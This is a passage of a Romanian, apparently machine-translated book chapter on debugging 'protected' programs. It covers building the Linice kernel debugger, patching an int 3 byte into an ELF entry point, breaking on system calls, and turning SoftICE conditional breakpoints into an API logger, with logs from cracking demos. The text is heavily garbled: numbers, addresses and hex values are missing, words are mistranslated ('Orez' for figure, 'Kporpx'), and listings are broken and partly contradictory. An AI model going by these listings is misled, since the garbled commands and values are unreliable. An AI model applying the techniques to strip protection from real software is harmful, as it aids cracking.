nu este un „port” ci un proiect independent scris de la zero și distribuit gratuit în codul sursă De la SoftICE, acest depanator a moștenit interfața (Fig ), sistemul de comandă și majoritatea caracteristicilor, inclusiv ascensiunea prin „tasta rapidă” (în Linice aceasta este + ), setând puncte de întrerupere hardware pe toate funcții și apeluri de sistem, vizualizare GDT/LDT/IDT, pagini de memorie fizică În plus, Linice a împrumutat o serie de caracteristici de la GDB, inclusiv: □ Apelarea unei funcții arbitrare cu comanda CALL □ Salvare/Restaurare Registry Context □ Variabile interne etc Spre deosebire de majoritatea celorlalte programe de depanare, care funcționează prin mecanismul Ptrace care nu se poate reintroduce (reenterabil pop) și ușor de detectat descris în Capitolul , Linice folosește urmărirea „nativă”, la fel ca în SoftICE, care permite ambelor depanatoare să depaneze programe serios protejate, cărora ceilalți depanatori nu le mai pot face față Majoritatea codului pentru nucleul a fost scris de hackerul german Goran Devie, dar kernel-ul a fost întreținut de oameni complet diferiți: Daniel Reznick, Peter K și Carlos Manuel Duclos Vergara Și compatriotul nostru Oleg Khudakov a rescris dosarele de adunare de la NASM la GCC Textele sursă se află pe site-ul oficial al proiectului - http://www linice com, există și documentație, un scurt Întrebări frecvente și un link către forumul http://groups google com/group/linice Nu există ansambluri binare gata făcute Notă Procesul de compilare, construire și configurare Linice va fi descris mai târziu în acest capitol (vezi „Compilarea și configurarea Linice”) Dacă vă aflați într-o situație similară în timp ce lucrați cu alte proiecte, vă recomandăm să citiți cu atenție documentația însoțitoare pentru proiectul corespunzător au fost date în capitolul (vezi „Potențialul ascuns al ansamblurilor manuale”) Omologul Wmdows al acestui mecanism este debug process, folosit de depanatorii de aplicații Capitolul Caracteristicile Fusion Debugging cu Linice Orez Linice depanator Cerințe de sistem Cea mai recentă versiune de Linice este și este datată / / Acceptă pe deplin nucleul Linux x și modul consolă VGA Nucleele mai noi au probleme serioase, iar nucleul x este acceptat doar pe o bază limitată Depanatorul a fost dezvoltat și testat sub Debian , compatibilitatea cu alte distribuții nu este garantată De fapt, este destul de normal să păstrezi Debian pe mașina ta doar pentru a rula Linice Cu mult timp în urmă, când nu exista nicio implementare a SoftICE pentru Windows NT, mulți hackeri instalau Windows x exclusiv în scopul piratarii, chiar dacă sistemul lor de operare principal era Windows NT Deoarece este aproape imposibil să acoperim toate complexitățile instalării Linice într-un singur capitol, ne vom limita la a descrie procesul de compilare și rulare a Linice într-o singură distribuție Ca atare distribuție a fost ales Kporpx cu kernel în modul VGA consolă Linice acceptă mașini ASPI și multiprocesor, dar nu este prietenoasă cu X shell-uri Acest lucru este vizibil mai ales pe alte plăci video decât nVIDIA (în același timp, nu acceptă deloc adâncimea de culoare de de biți) Prin urmare, este mai convenabil să depanați aplicațiile X printr-un terminal la distanță conectat printr-un port COM folosind protocolul VT , în timp ce tastatura locală va funcționa și cu Linice Apropo de tastaturi Deoarece Linice comunică direct cu hardware-ul, tastaturile USB nu sunt acceptate Utilizați o tastatură standard PS/ (DIN) sau, dacă nu aveți una, dezactivați suportul pentru toate dispozitivele USB în Linux, forțând BIOS-ul să emuleze o tastatură PS/ acceptată de Linice Partea a II-a Tehnici de bază de hacking Orez Reacția VMware la încercarea de a lansa Linice Sub mașinile virtuale (și, în special, VMware ), Linice fie nu se încarcă deloc, fie se încarcă, dar nu răspunde la tastatură (Fig ), fie sparge acoperișul mașinii virtuale, forțându-ne să lucrăm la hardware „în direct” Desigur, acest lucru este rău Cu toate acestea, tehnologiile de emulare se îmbunătățesc constant și se speră că această problemă va fi rezolvată în ceva timp Compilarea și configurarea Linice În primul rând, trebuie să descărcați arhiva gzip sursă Linice (http://www Iinice devic us/linice- tar gz), care ocupă puțin mai puțin de un megaoctet După descărcarea arhivei, extrageți-o pe disc, accesați directorul ,/docs și citiți cu atenție fișierul readme Depanatorul pentru nucleul este construit așa cum se arată în Listarea Lista Compilarea și legarea Lipice pentru Kernel # cd build # /make bin- # cd /bin # face curat ; face Rețineți că înainte de a rula make, trebuie să deschideți fișierul ,/bin- /Makefile și să editați linia țintă pentru a se potrivi cu configurația și arhitectura platformei țintă În special, pe mașinile ACPI cu procesoare multi-core sau HyperThreading, va arăta ca Lista Capitolul Caracteristici ale depanării termonucleare cu Unice Lista Configurarea depanatorului Linice, TARGET=-DSMP DIO APIC După ce compilarea este completă, vor exista multe fișiere și directoare în directorul /bin Cele mai semnificative dintre acestea sunt linsym, încărcătorul de depanare, linince dat, fișierul de configurare, xise, suport pentru X shells ; /lipise /lipise o este un modul kernel încărcat care conține depanatorul însuși După ce ați asamblat un kit care funcționează minim, ar fi bine să construiți restul kitului de distribuție, inclusiv exemple de depanare demonstrative (sunt localizate în directorul /test și compilate de scriptul de compilare), precum și modulul de extensie (acesta se află în directorul ,/ext, asamblat de următoarea comandă și încărcat cu comanda insmod) Nu este de mare folos practic, dar privind codul sursă, puteți scrie propriile module care extind funcționalitatea Linice Procesul de construire și configurare a depanatorului Linice este prezentat în Fig Orez Procesul de construire al depanatorului Linice Pornirea sistemului și lansarea depanatorului Când porniți Knoppix LiveCD (Figura - ), pe linia de jos a ecranului apare promptul boot:, ca răspuns la care ar trebui să introduceți linia knoppix vga=normal Opțiunea de pornire (Cheat-code) knoppix selectează nucleul (pornit automat în mod implicit, astfel încât subșirul knoppix poate fi omis) Opțiunea dezactivează încărcarea X shell, iar vga=normal setează modul VGA standard la x Când lucrați în modul text, îl puteți șterge Partea a II-a Tehnici de bază de hacking ■KjyWțgNET ►apăsați tastele F sau F pentru ajutor și opțiuni de pornire pentru a seta parametrii de pornire: vga=normal Rețineți că linia knoppix nu este necesară, deoarece nucleul a fost deja selectat După ce descărcarea este finalizată, lansați comanda de conectare și conectați-vă ca utilizator root (presupunând că contul a fost deja creat în prealabil) Procedura de înregistrare în sistem este prezentată în fig Pentru a instala Knoppix pe hard disk, porniți o sesiune LiveCD și într-o fereastră de terminal lansați comanda sudo knoppix-installer Capitolul Funcții de depanare Fusion cu Linice Se scanează pentru USBzFireuire deuices Gata Activarea accelerației DMA pentru: hda [UMuare Uirtual IDE CDROM Driuel Activarea accelerației DMA pentru: hdb [UMuare Uirtual IDE CDROM Driuel Se accesează CDROM-ul KNOPPIX la zdeuzscdO Total nenory găsit: ® kB Se creează zrandisk (dimensiune dinamică= k) pe neory partajat Terminat Se creează directoare și synlink-uri pe randisk Gata Pornind procesul init IMIT: uersion Z -knoppix booting Rulează Linux Kernel Z Z Procesor • este Pentiun III (Coppernine) MHz, Z KB Cache ACPI Rios găsit, noduli de acțiune: baterie ca buton ventilator procesor termic USR găsit, gestionat de hotplug: (Re-)scanare USR deuices sincronizare:[Ml Done deuices Gata Mouse este Generic PSzZ Uheel Mouse la zdeuzpsaux Placa de sunet: ES IAudioPCI- driuer=esl Puntea AGP detectată Uideo este UMUare InciUirtual SUGĂ, folosind XFree (unuare) Seruer Monitorul este un monitor generic, H:Z F- tkHz, U: ® ®- ,®Hz Utilizarea modurilor „ ®Z x ” „ ®®x ®®” „ ®x e” Se scanează pentru partiții de pe harddisk și se creează zetczfștab Gata Metuork deuice ethO detectat, difuzare DHCP pentru IP (Rackgrounding) Autonounter a început pentru: floppy cdron cdronl IMIT: Intrând în runleuel: Z Orez Sistemul Cporryx a pornit fără X-shell în modul consolă VGA Orez Liniile de pornire Depanatorul este lansat cu comanda /linsym -i, după care depanatorul apare imediat pe ecran Dacă nu, încercați să specificați verbose to ieșirea mesajelor de diagnosticare Procesul de lansare a depanatorului este prezentat în Fig Unul dintre motivele eșecului de pornire poate fi absența fișierului /boot/System map care conține adresele funcțiilor kernelului Încărcarea va eșua și dacă conținutul fișierului System map nu se potrivește cu nucleul curent, ceea ce se poate întâmpla, de exemplu, atunci când este recompilat Unele compilatoare de distribuție fie nu includ System map deloc Partea a II-a Tehnici de bază de hacking a distribuţiilor lor , sau au pus aici ceva complet „stânga” şi luat de nicăieri În astfel de cazuri, este suficient să recompilați pur și simplu nucleul prin îndreptarea depanatorului către fișierul System map cu comutatorul -sh dacă fișierul se află într-un alt director decât /boot Astfel, securitatea nu va fi afectată, iar Linice va putea lucra Depanatorul Linice care rulează în modul consolă VGA este prezentat în Figura Orez Depanator Linice rulează în modul consolă VGA Revenirea de la depanator la sistem are loc prin apăsarea tastei sau prin comanda x Combinația + apelează depanatorul din orice program Cu toate acestea, nu este deloc un fapt că ne vom regăsi în contextul său, deoarece Linux este un sistem multitasking care comută procesele unul după altul, iar comenzile de comutare de context (analogice ale comenzii addr din SoftICE) încă nu există în Linice "lexicon" În același timp, nu se știe când va apărea și dacă va apărea deloc Prin urmare, trebuie să trișați setând puncte de întrerupere la apelurile de sistem utilizate de un anumit program sau intrând în proces folosind metoda h, despre care vom vorbi acum Pentru descărcarea depanatorului (dacă doriți cu adevărat să-l descărcați), comutatorul -x, trecut la același modul linsym, este responsabil Bazele Lineice Pentru cei care au lucrat deja cu SoftICE, stăpânirea Linice nu va prezenta nicio problemă Toate aceleași comenzi sunt folosite aici: D - memorie dump, e - editare memorie, t - urmărire pas cu pas, p - urmărire fără a intra în funcție, R - vizualizare / modificare registre, vrm / vr - setarea unui punct de întrerupere pe accesul/execuția memoriei etc O listă completă de comenzi este conținută atât în sistemul de ajutor încorporat, apelat de comanda help , cât și în documentația standard Apăsați comanda rapidă de la tastatură + și răsfoiți lista de procese afișată de comanda proc (lista ) Rețineți că procesul curent este evidențiat cu albastru (în listă, cu aldine) Făcând acest lucru, compilatorii de distribuție cred că va crește securitatea sistemului, deoarece va fi mai dificil pentru rootkit-uri să intercepteze apelurile de sistem (syscalls) Pentru mai multe informații despre o anumită comandă, tastați: help nume comandă Capitolul Caracteristici ale depanării termonucleare cu Linice Listare Lista proceselor afișată prin comanda PROC :PROC PID TSS Starea sarcinii uid nume gid C C E SLEEPING init F EE SORMIT keventd F EE SLEEPING ksoftirqd CPU * F EE SLEEPING ksoftirqd CPU F ED SORMIT kswapd F EAA SORMIT bdflush F EA SLEEPING actualizat F A adormit kj oumald F A RUNNING autmount F E adormit cupsd F DDE DORMAT o mc F DD SLEEPING cons saver Vizualizarea proceselor este, desigur, bună Dar cum depanezi programele? Cel mai simplu este să introduceți instrucțiunea mașină csi corespunzătoare instrucțiunii int osi în punctul de intrare, având scris în prealabil conținutul octetului original Acest lucru se poate face cu orice editor hexadecimal, de exemplu, HT Editor (Fig ) f J secțiunea adresa virtuală f dimensiunea fișierului virtual offset O f dimensiunea fișierului function start(global) punct de intrare executabil ! punct de intrare: unu int în f U U U f a f b f el e fB f f F c f f f e c ES e feffff f MOV și push push push push push push push push cai hlt nop nop funcția call gMon start(local) mai ales! BfffffffBh libc csu fini libc csu init wrapper b dd b ' ' t'-'" ' V' ' L-ar, I Orez Folosind Editorul HT pentru a insera comanda cch la punctul de intrare al unui fișier Partea a II-a Tehnici de bază de hacking Cu fișierul încărcat în editor, apăsați tasta (mod), selectați opțiunea elf/image, mutați cursorul la punctul de intrare: etichetă, apăsați (editare) și schimbați primul octet în cch Salvați modificările apăsând (salvare) și ieșiți din editor Când rulează un program corelat, apare imediat Linice, perturbată de o excepție aruncată de comanda cch, după care ep indică sfârșitul cch (Listing ) Lista Un program cu un punct de intrare modificat în momentul în care apare depanatorul : С CC int : C E pop esi : СЗ Е mov ех, esp Cursorul indică instrucțiunea xor ebp, ebp ( ih EDh), care este o „așchie” din instrucțiunea xor ebp, ebp ( ih EDh) patch-ată Acum (teoretic) ar trebui să restabilim octetul original prin înlocuirea csp cu h, să reducem registrul ep cu unul și să continuăm urmărirea în mod normal Da, nu era acolo! Linice este, desigur, un „port”, dar, din păcate, încă neterminat Nu știe să modifice memoria unei imagini de pagină, chiar dacă mai întâi deschideți segmentul de cod pentru scriere Niciuna dintre comenzile obișnuite SoftICE nu va funcționa - nici e (editați), nici f (umpleți), nici și (copiați memoria)! Dar scrierea în stivă funcționează, iar acest lucru este suficient pentru hackeri Ne amintim valoarea curentă a registrului еір, copiem instrucțiunea mașinii corecționate în partea de sus a stivei, restabilim octetul cch acolo, transferăm controlul către acesta, schimbând valoarea lui еір, executăm comanda, după ce a efectuat un singur act de urmărire, și întoarceți еір la locul său, adică la următoarea instrucțiune de mașină (lista ) Lista Restaurarea valorii inițiale a octetului* înlocuit cu instrucțiunea INT h :? eir ; afla EIR Hex= cl Dec= ; Vezi ce se află deasupra stivei (din pură curiozitate) :d esp- :BFFFEFC CO D OS DC EF FF BF ; Copiați instrucțiunile mașinii corecţionate în partea de sus a stivei ; Numărul h este dimensiunea maximă posibilă a unei instrucțiuni de mașină pe x :w eip- L esp- ; Vedeți cum s-a schimbat stiva :d esp- :BFFFEFC CC ED E El E F F ; Aha stiva s-a schimbat cu adevărat, este timpul să editați CCh la h :e esp Editați datele intermediare neimplementate încă ; Atribuirea directă a datelor Onc nu este implementată în linice, dar puteți ; editați descărcarea în mod interactiv (la fel ca în SoftICE) ; sau dați comanda „F esp- L ”, doar rețineți ; că, spre deosebire de SoftICE, depanatorul Linice nu actualizează fereastra de descărcare ; Prin urmare, după executarea comenzii F, poate părea că nu există niciun rezultat ; De fapt, nu este cazul, trebuie doar să actualizați dump-ul cu comanda „D esp- ”, Capitolul Caracteristicile Fusion Debugging cu Linice ; și totul va cădea la loc ; Transferați controlul la comanda copiată pe stivă :r eir (esp- ) reg: ep = BFFEFCO ; amintiți-vă această valoare a registrului EIR :t; efectuează un singur act de urmărire : BFFFEFC E pop esi ; după cum vedem, registrul EIP a crescut cu (BFFFEFC h - BFFFEFCOh) = h ; prin urmare, adresa următoarei instrucțiuni este: ; Clh - Olh + h = C h, unde Clh este valoarea EIP inițială ; la intrarea în program, iar Olh este dimensiunea instrucțiunii INT h :r eip C ; setați EIR la următoarea comandă ; în spatele instrucțiunilor petice reg: еір = С ; - - continuați urmărirea în modul normal - - Așa trebuie să acționezi (hackerii o numesc „dancing with a tamburin”) Dar ce poți face? Bine, ne-am ocupat de încărcarea programelor în depanator, acum ne vom ocupa de setarea punctelor de întrerupere a apelurilor de sistem și a funcțiilor kernelului Comanda exp tipărește numele exportate de kernel (Listing ) Oricare dintre aceste nume poate apărea direct în expresii De exemplu, bpx do bkr este echivalent cu bpx C C E Lista Listarea numelor exportate de kernel cămilă С inmu cr features C ACZA C AC A acpi disabled i lock C BDA C C C C E C E C E C do rnmap pgo ff do rnunmap do brk exit mm exj t files Apelurile de sistem sunt mai dificile Nu există suport direct de la Linice (și ar trebui să fie, având în vedere specificul Linux), așa că toată munca trebuie făcută manual Tabelul de apeluri de sistem este cunoscut a fi o matrice de cuvinte duble care încep de la adresa sys call table (această variabilă este exportată de kernel) Ieșirea tabelului de apeluri de sistem de către Linice este prezentată în Lista - Lista Tabel de apeluri de sistem :dd; Punem depanatorul în modul de afișare a cuvintelor duble :d sys call table ; Afișăm tabelul apelurilor de sistem :C ABA C ACC F F A C DC :C AB B C DD C D C C D C BC :C AB C C D C A E C AZB F C Partea a II-a Tehnici de bază de hacking Orez Numere de apel de sistem Fiecare intrare din acest tabel corespunde propriului apel de sistem, iar fiecare apel are propriul său număr, care poate fi găsit căutând în fișierul /usr/include/sys/syscall h Cu toate acestea, cel mai bine este să faceți acest lucru nu sub Linux, unde nu există numere directe, ci să împrumutați același fișier de la BSD, deoarece numerele apelurilor de sistem principale sunt oricum aceleași pe toate sistemele (Fig IO) În special, apelul de sistem deschis este numărul Pentru a seta un punct de întrerupere pentru apelul de sistem deschis, trebuie să cunoașteți adresa acestuia, care se află în al cincilea cuvânt dublu din tabelul de apeluri de sistem (bazat pe zero) În acest caz, adresa de care avem nevoie este coi D C h (Listing ) :bpx C D C ; Setați un punct de întrerupere pe sistem: ; Ieșiți din depanator # Deschideți un fișier : Punct de întrerupere din cauza BPX ; Depanatorul apare imediat :pro ; Dăm comanda rgos pentru a ne asigura; că am intervenit în procesul nostru PID TSS Starea sarcinii F SLEEPING uid gid nume getty F A adormit cons salvare În acest fel, este ușor să „păiți” procesele care rulează deja, setând puncte de întrerupere pe apelurile de sistem pe care le folosesc, precum și efectuați multe alte operațiuni vitale pentru hacking Concluzie În ciuda subdezvoltării sale sincere, Linice este destul de potrivită pentru depanarea aplicațiilor protejate, deși destul de des trebuie să apelezi la soluții care sunt efectuate automat în depanatoarele normale Din acest motiv, Linice nu înlocuiește deloc GDB, ci doar o completează Capitolul Discuție extinsă de depanare Capitolele anterioare din această parte au acoperit elementele de bază ale lucrului cu dezasamblatoare și depanatoare, precum și utilizarea acestora pentru explorarea codului Acest capitol, care încheie cea de-a doua parte a cărții, discută probleme mai avansate de hacking și poate fi văzut ca o pregătire pentru cercetări mai serioase Materialele prezentate aici vă vor prezenta diverse tehnici de hacking care vă vor permite să lucrați mai eficient: □ Utilizarea depanatoarelor ca loggeri și spioni Există o mulțime de programe utile concepute pentru înregistrarea și urmărirea diferitelor evenimente de sistem (de exemplu, spyware API) Cu toate acestea, capacitățile lor sunt adesea limitate De aceea, hackerii își scriu adesea propriile utilități, ceea ce necesită o investiție semnificativă de timp și efort Există metode care ar face această sarcină mai ușoară? Bineînțeles că da În acest capitol, ne vom uita la utilizarea SoftICE ca logger, precum și la utilizarea depanatorului WinDbg ca spion API și RPC □ Bune practici pentru tratarea punctelor de întrerupere Căutătorii de cod întâlnesc adesea situații în care este necesar să se stabilească un punct de întrerupere pe o instrucțiune de mașină arbitrară (de exemplu, jmp eax) Acest subiect este adesea discutat la forumuri și conferințe Din păcate, procesoarele x nu oferă astfel de capabilități și, prin urmare, problema ar trebui rezolvată prin soluții alternative □ Metode eficiente pentru găsirea rapidă a unui mecanism de apărare în programele de amploare Folosind SoftICE ca Logger Există multe utilitare care oferă capacități de înregistrare (de exemplu, programul spion API) Din păcate, capacitățile lor sunt de obicei foarte limitate Astfel de programe sunt ușor păcălite de viruși sau mecanisme de apărare, deseori se prăbușesc fără un motiv aparent Ca urmare, cele mai importante și valoroase informații despre funcțiile API utilizate în programul studiat nu sunt incluse în jurnal Printre altele, dimensiunea jurnalelor pe care le generează este îngrozitoare Găsirea informațiilor de care aveți nevoie printre sute de mii de linii de text este foarte, foarte dificilă Sistemul de filtrare a caracteristicilor este de obicei primitiv (presupunând că există) Desigur, jurnalul poate fi procesat de un filtru extern scris în Perl sau C Cu toate acestea, această abordare necesită multă muncă În plus, nu uitați de situațiile în care este posibil să aveți nevoie de informații care, dintr-un motiv sau altul, nu au fost incluse în jurnal Să presupunem, de exemplu, că doriți să verificați dacă o anumită funcție API este urmată de comanda test eax, eax Mai mult, cum rămâne cu situațiile în care trebuie să spionezi nu numai funcțiile API, ci și să înregistrezi alte evenimente? De exemplu, este adesea necesară analizarea protocolului de schimb de date între aplicația studiată și un driver sau chiar un dispozitiv hardware Partea a II-a Tehnici de bază de hacking SoftICE oferă astfel de capabilități Abordarea sugerată este de a crea puncte de întrerupere condiționale cu parametri complecși și apoi de a avea ieșirea depanatorului într-un fișier, în loc să fie bule Rețineți că dvs sunteți cel care setează lista elementelor de date care urmează să fie incluse în jurnal, precum și formatul de ieșire Sistemul de macrocomandă vă permite să obțineți un logger flexibil și ușor de configurat, cu posibilități aproape nelimitate Singura problemă este stăpânirea sistemului macro și utilizarea potențialului său enorm Încălzire ușoară Înainte de a utiliza SoftICE ca logger, acesta trebuie să fie configurat corespunzător Pentru a face acest lucru, rulați Symbol Loader (Fig ), selectați comanda Editare | Setarea de inițializare SoftICE și măriți dimensiunea buffer-ului istoric la câțiva MB Valoarea exactă depinde de sarcina specifică Cu cât trebuie să colectați mai multe informații într-o singură sesiune, cu atât ar trebui să fie mai lung tamponul Deoarece tamponul este aranjat conform principiului unui inel, nu are loc nicio depășire atunci când este umplut - doar cele mai recente date le suprascriu pe cele mai vechi Dacă doriți, puteți accesa fila Definiții macrocomenzi (Fig ) și puteți crește numărul de macrocomenzi utilizate simultan de la (implicit) la Cu toate acestea, pentru majoritatea sarcinilor, limita de de macrocomenzi este suficientă Acum, ca o încălzire, să încercăm să urmăm apelul la funcția CreateFileA, care este folosită pentru a deschide dispozitive și fișiere Să creăm un punct de întrerupere condiționat astfel: bpx CreateFileA do "x; Cuvântul cheie do definește secvența de comenzi pe care depanatorul ar trebui să le execute după atingerea acestui punct de întrerupere Comenzile sunt separate prin punct și virgulă Puteți citi mai multe despre sintaxa lor în capitolul " Puncte de întrerupere condiționale” din ghidul utilizatorului depanatorului În acest caz, se folosește doar comanda x, ceea ce înseamnă a ieși imediat din depanator Orez SoftICE Debugger Symbol Loader Capitolul Discuție de depanare extinsă Orez Ajustarea dimensiunii tamponului istoric SoftICE Apăsați + pentru a reveni la Windows Deschideți câteva fișiere și, când vă săturați de el, apelați Symbol Loader și salvați istoricul SoftICE într-un fișier jurnal (acest lucru se face cu fișierul | Salvare istoricul Soft-ice ca comenzi) După o clipire scurtă a indicatorului, pe disc este generat un fișier numit winice log (în mod implicit) Un fragment din conținutul aproximativ al acestui fișier este afișat în Lista Yu I Pauza din cauza BPX KERNEL !CreateFileA Pauza din cauza BPX KERNEL !CreateFileA Pauza din cauza BPX KERNEL !CreateFileA Pauza din cauza BPX KERNEL !CreateFileA Pauza din cauza BPX KERNEL !CreateFileA DO "x;" (ET= , secunde) DO "x; " (ET= , milisecunde) DO "x;" (ET= , secunde) DO "x;" (ET= , milisecunde) DO "x;" (ET= , milisecunde) Veți vedea multe rânduri, fiecare descriind momentul în care punctul de întrerupere a fost declanșat și de ce a fost declanșat La prima vedere, acest rezultat pare a fi bun Cu toate acestea, în practică, este complet neinformativ În special, multe întrebări rămân fără răspuns Ce fișier a fost deschis la atingerea fiecărui punct de întrerupere? S-a finalizat această operațiune cu succes sau nu? În general, punctul nostru de întrerupere condiționat are nevoie de îmbunătățiri semnificative O versiune îmbunătățită este afișată în Listarea Notă SoftICE nu permite două puncte de întrerupere pe aceeași funcție Prin urmare, înainte de a crea un nou punct de întrerupere pe o funcție pentru care a fost deja setat un punct de întrerupere, trebuie să ștergeți punctul de întrerupere vechi cu comanda bc o Punct de întrerupere condiționat care tipărește numele fișierelor deschise ■ bpx CreateFileA DO "D esp-> L ; x; Partea a II-a Tehnici de bază de hacking Ce sa schimbat? Ieșirea numelui fișierului a apărut: D esp-> l , unde d este comanda pentru afișarea dump-ului, esp > este un pointer către primul argument al funcției CreateFileA (ce să deschidă), iar este numărul de octeți de ieșit (valoarea specifică este aleasă după gust) Să testăm versiunea actualizată Apăsați + , ieșiți din depanator și lansați un program pe care doriți să îl monitorizați (de exemplu, FAR Manager) Apoi apăsați din nou + , intrați în depanator și tastați bd o pentru a opri spionajul Rămâne să părăsești SoftICE, să mergi la Symbol Loader și să salvezi istoricul pe disc Rezultatul obţinut de această dată este prezentat în Lista ' Lista Fișier jurnal îmbunătățit care afișează numele fișierelor, ! deschis de programul urmărit Pauza din cauza BPX KERNEL 'CreateFileA DO "d esp-> L ;x;" (ET= secunde) : E F E F - F E E CONOUT$ CONIN$ I : F interfață Mouse % Pauza din cauza BPX KERNEL 'CreateFileA DO "d esp-> L ;x;" (ET= , milisecunde) : F F E E - E CONIN$ Interfață : A D F - PENTRU Mouse %c % d:% Pauza din cauza BPX KERNEL 'CreateFileA DO "d esp-> L ;x;" (ET- , milisecunde) : FOR C F - D C C:\Program Files : C C - E E C E \Far\FarEng Ing Cu totul alta chestiune! Acum este afișat numele fișierului care se deschide, iar spionul nostru improvizat, încetul cu încetul, începe să funcționeze Cu toate acestea, din jurnal încă lipsesc elemente de date importante precum ID-ul procesului al procesului care a numit funcția API și codul de returnare Dar de ce ar trebui să mai adăugăm câteva linii la punctul de întrerupere? Versiunea finală a punctului de întrerupere, destinată înregistrării în jurnal, este prezentată în Lista bpx CreateFJ IeA DO "? PID; D esp-> L ; P RET; ? EAX; x;" Echipa este aici? pid tipărește ID-ul procesului, p ret execută funcția API așteaptă returnarea și ? eax spune conținutul registrului eax, care conține codul de returnare din funcția API Lista arată un fragment din jurnalul obținut folosind punctul de întrerupere prezentat în Lista Lista „Versiunea finală a fișierului jurnal Pauza din cauza BPX KERNEL 'CreateFileA DO "? PID; D esp-> L ; P RET; ? EAX; x;" DC ; PID : E E C- E F CD snai exe a e : C E - exe "t" ; cod de retur Pauza din cauza BPX KERNEL 'CreateFileA DO "? PID; D esp-> L ; P RET; ? EAX; x;” DC "C^" ; PID : C D F E B- E F demo crk exe a e : C E - exe "t" ; cod de retur Pauza din cauza BPX KERNEL 'CreateFileA DO "? PID; D esp-> L ; P RET; ? EAX; x;" DC ; PID Capitolul Discuție de depanare extinsă : D F E F- E demo protected c : C B E exe "t" ; cod detuni Sunteți de acord că este deja posibil să lucrați cu un astfel de raport! Am crescut deja funcționalitatea logger-ului nostru la nivelul unui spion API standard Cu toate acestea, dacă se dorește, acest filtru poate fi complicat prin adăugarea de noi criterii Formatul jurnalului poate fi, de asemenea, îmbogățit cu detalii noi, afișând toate detaliile necesare de care ați putea avea nevoie (de exemplu, conținutul stivei de apeluri) Desigur, această cale nu este lipsită de probleme SoftICE aprins constant pâlpâie urât și reduce semnificativ performanța Există vreo modalitate de a-l forța să se conecteze fără să apară? Poate sa! Depanatorul acceptă o funcție specială bplog care returnează întotdeauna adevărat și suprimă barbotarea depanatorului Din păcate, în același timp, succesiunea de comenzi care urmează do este și ea suprimată, ceea ce înseamnă că crearea de rapoarte detaliate devine imposibilă Prin urmare, pentru scopurile noastre, această metodă nu este potrivită Din păcate, nu există alte mijloace de a suprima barbotarea depanatorului la dispoziția noastră O altă sursă de durere de cap este gunoiul din protocol Datele utile sunt amestecate cu alte informații afișate pe ecran Este clar că lizibilitatea este exclusă! Fără a scrie un utilitar specializat pentru formatarea rapoartelor, te vei îneca literalmente într-o mare de informații inutile Puteți, desigur, să scrieți acest utilitar în Perl, dar există o modalitate mai ușoară Aceasta este utilizarea macrocomenzilor Cu toate acestea, de data aceasta nu vor fi macrocomenzi SoftICE, ci macrocomenzi încorporate în FAR Manager Porniți FAR Manager, apăsați tasta și examinați cu atenție textul afișat în Lista După cum puteți vedea, fiecare informație de „raportare” începe cu pauză datorată rândului Asta ar trebui să cauți! Apăsați + pentru a începe înregistrarea macrocomenzilor, apoi apăsați tasta , introduceți șirul de căutare (încărcare din cauza) și în final apăsați tasta Acum, folosind comanda rapidă de la tastatură + , selectați fragmentul de text de la sfârșitul pauzei datorate liniei până la începutul subșirului CreateFileA Aceste informații sunt redundante, așa că ștergeți-o cu + Apoi apăsați combinația + + > pentru a sări la cuvântul cheie do, care ar trebui, de asemenea, eliminat împreună cu restul liniei Cu alte cuvinte, continuă să editezi textul conform cerințelor tale Rețineți că acest proces este dificil de descris în cuvinte, este mult mai ușor să afișați rezultatul final Când macro-ul este creat, va fi suficient să o aplicați protocolului de un anumit număr de ori (doar apăsați combinația de taste care i-a fost atribuită și nu eliberați), rezultând un rezultat similar cu cel din Listarea Lista O versiune îmbunătățită a protocolului, curățată de informații redundante folosind o macrocomandă nou creată CreateFileA, PID:lDCh; NUME: cd snail exe RET: ore CreateFileA, PID:lDCh; NUME: demo crk exe RET- h CreateFileA, PID:lDCh; NUME: demo protected crk exe; RET: ore Un rezultat destul de demn pentru câteva minute de muncă! Cu macrocomenzi, poți face totul sau aproape totul! Și lasă-i pe unii să râdă cu dispreț, spun ei, acest mod este neprofesionist și în general Principalul lucru este că sarcina a fost finalizată în timp record După cum am menționat deja, dacă doriți să utilizați o abordare mai profesională, va trebui să scrieți un utilitar specializat pentru formatarea rapoartelor (de exemplu, în Perl) Filtre mai complexe Până acum, nu am creat nimic mai complicat decât un spion API obișnuit Multe astfel de utilități, gata de utilizare, pot fi găsite pe Internet Deci a meritat să îngrădiți grădina? A meritat! Pentru început, SoftICE (mai ales când se utilizează puncte de întrerupere hardware Partea a II-a Tehnici de bază de hacking ca bpi) este mult mai puțin conflictuală decât majoritatea spionilor Funcționează cu ușurință acolo unde alte mijloace nu mai pot face față Notă Acest lucru este valabil mai ales dacă pre-patchați SoftICE cu pachetul IceExt, care ascunde depanatorul de unele mecanisme de securitate În plus, distracția abia începe! Să facem lucrurile puțin mai dificile Nu vom spiona toate fișierele, ci, să zicem, doar pe cele ale căror nume încep cu litera „a” Acest lucru este destul de ușor de făcut (Listing ) Lista Un punct de întrerupere care înregistrează accesul la fișierele ale căror nume încep cu bpx CreateFileA if byte (*esp-> )== a' DO xxx Problema este că, dacă funcției CreateFileA primește un nume de fișier complet cu o cale, punctul nostru de întrerupere nu va mai funcționa, deoarece verifică doar primul caracter al numelui și, din păcate, nu există funcții de căutare subșiruri în arsenalul SoftICE După cum se spune, această posibilitate nu este prevăzută structural, ceea ce este păcat Cu toate acestea, această supărare minoră nu va opri un hacker Vom pleca de la faptul că memoria de deasupra indicatorului stivei este de obicei liberă și poate fi folosită la discreția dumneavoastră Ce se întâmplă dacă scriem acolo un mic program de asamblare și îi transferăm controlul? Dacă acest lucru funcționează, atunci puteți extinde funcționalitatea depanatorului pe termen nelimitat, fără a apela la pluginuri, care de obicei se dovedesc a fi greoaie, neîndemânatice și, în plus, prost documentate Pentru a executa un program pe o stivă, avem nevoie, evident, de o stivă executabilă Până de curând, aceasta nu a fost o problemă și orice cod putea fi executat pe stivă fără trucuri Cu toate acestea, acum situația s-a schimbat În apogeul luptei împotriva virușilor și viermilor de rețea, producătorii de procesoare au colaborat cu Microsoft, iar acum, în cele mai recente versiuni de Windows XP, Windows Vista și Windows Server Longhorn, stiva este protejată de execuție în mod implicit Cu toate acestea, prima dată când încercați să executați cod nativ pe stiva sau în vecinătatea acestuia, sistemul afișează o casetă de dialog care sugerează fie dezactivarea protecției, fie blocarea programului care se comportă incorect Pentru a realiza ceea ce ne-am planificat, trebuie să facem următoarele: □ Împingeți codul mașinii al funcției noastre deasupra vârfului stivei □ Stocați valoarea curentă a registrului eip și a registrului eflags (de exemplu, pe aceeași stivă) □ Salvați toate registrele pe care funcția noastră le modifică □ 